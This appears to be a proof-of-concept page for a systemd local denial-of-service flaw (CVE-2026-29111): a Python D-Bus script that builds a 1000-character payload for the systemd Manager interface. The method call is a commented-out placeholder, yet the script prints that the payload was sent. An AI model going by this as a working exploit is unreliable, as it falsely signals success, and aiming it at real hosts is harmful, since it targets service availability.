CVE-2026-29111 systemd本地拒绝服务漏洞

# This is a conceptual PoC. The exact IPC interface and parameters required to # trigger the vulnerability depend on the specific implementation details of systemd. import dbus import sys def trigger_vulnerability(): try: # Connect to the system bus bus = dbus.SystemBus() # The vulnerable IPC call is likely part of the systemd manager interface # Note: The exact object path and interface name would need to be confirmed # via source code analysis of the specific vulnerable commit. systemd_object = bus.get_object('org.freedesktop.systemd1', '/org/freedesktop/systemd1') manager_interface = dbus.Interface(systemd_object, 'org.freedesktop.systemd1.Manager') # Construct spurious data # The vulnerability is triggered by specific malformed data in an unprivileged call spurious_data = "A" * 1000 # Example payload length # Attempt to invoke the vulnerable method # Replace 'VulnerableMethod' with the actual method name if known # manager_interface.VulnerableMethod(spurious_data) print("[+] Payload sent, check system status.") except dbus.exceptions.DBusException as e: print(f"[-] DBus Exception: {e}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": trigger_vulnerability()